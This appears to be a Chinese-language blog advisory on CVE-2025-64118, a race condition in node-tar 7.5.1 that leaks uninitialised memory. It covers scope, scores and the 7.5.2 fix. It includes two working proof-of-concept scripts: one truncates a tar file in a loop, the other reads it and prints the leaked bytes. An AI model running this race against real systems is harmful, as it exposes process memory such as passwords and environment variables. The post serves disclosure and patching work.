Node-tar竞争条件漏洞导致未初始化内存泄露分析

详细分析node-tar库7.5.1版本中的竞争条件漏洞CVE-2025-64118,该漏洞在同步读取tar文件时可能泄露未初始化内存内容,包含敏感信息如密码和环境变量。

Node-tar竞争条件漏洞导致未初始化内存泄露

漏洞概述

Node-tar库7.5.1版本存在竞争条件漏洞,当使用.t(即.list)方法并设置{ sync: true }选项读取tar条目内容时,如果在读取过程中磁盘上的tar文件被更改为较小尺寸,可能返回未初始化的内存内容。

技术细节

漏洞成因

  • 回归发生在commit isaacs/node-tar@5330eb0
  • 仅影响使用sync: true选项的tar.list/tar.t方法
  • 仅影响7.5.1版本,早期版本不受影响

攻击场景

攻击者必须在tar存档文件大小通过stat读取后,tar存档解析器到达被截断的条目之前,将文件大小减少到tar头部和主体块之间的边界。如果文件在不同的边界被截断,未初始化数据很可能不是有效的tar条目,导致解析器将条目视为损坏的存档。

影响范围

  • 信息泄露:暴露进程内存,可能包含不相关的文件内容、环境变量、密码等敏感信息
  • 拒绝服务:如果tar文件初始大小超过opt.maxReadSize(默认16kb),程序将进入无限循环,导致DoS而非信息泄露

漏洞验证

概念验证代码

攻击脚本A:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      entry.path = entry.path.toLowerCase()
      entry.stat.mode = 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

漏洞利用脚本B:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

缓解措施

受影响版本

  • 受影响版本:= 7.5.1
  • 已修复版本:7.5.2

限制条件

  • 需要攻击者能够截断(或诱导截断/替换)磁盘上的文件(例如在缓存中)
  • 默认情况下,tar.list不处理tar存档条目主体内容
  • 需要用户代码在onReadEntry方法中对tar条目文件内容执行某些操作

不受影响的方法

  • 该库中的其他方法(tar.extract等)不受此漏洞影响

安全评分

CVSS v4评分

  • 总体评分:6.1(中等严重性)
  • 攻击向量:本地
  • 攻击复杂度:高
  • 机密性影响:高
  • 完整性影响:低
  • 可用性影响:低

EPSS评分

  • 被利用概率:0.014%(30天内)

参考链接

弱点分类

  • CWE-362:使用共享资源的并发执行与不当同步(竞争条件)

该漏洞由ChALkeR报告,已在node-tar 7.5.2版本中修复。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计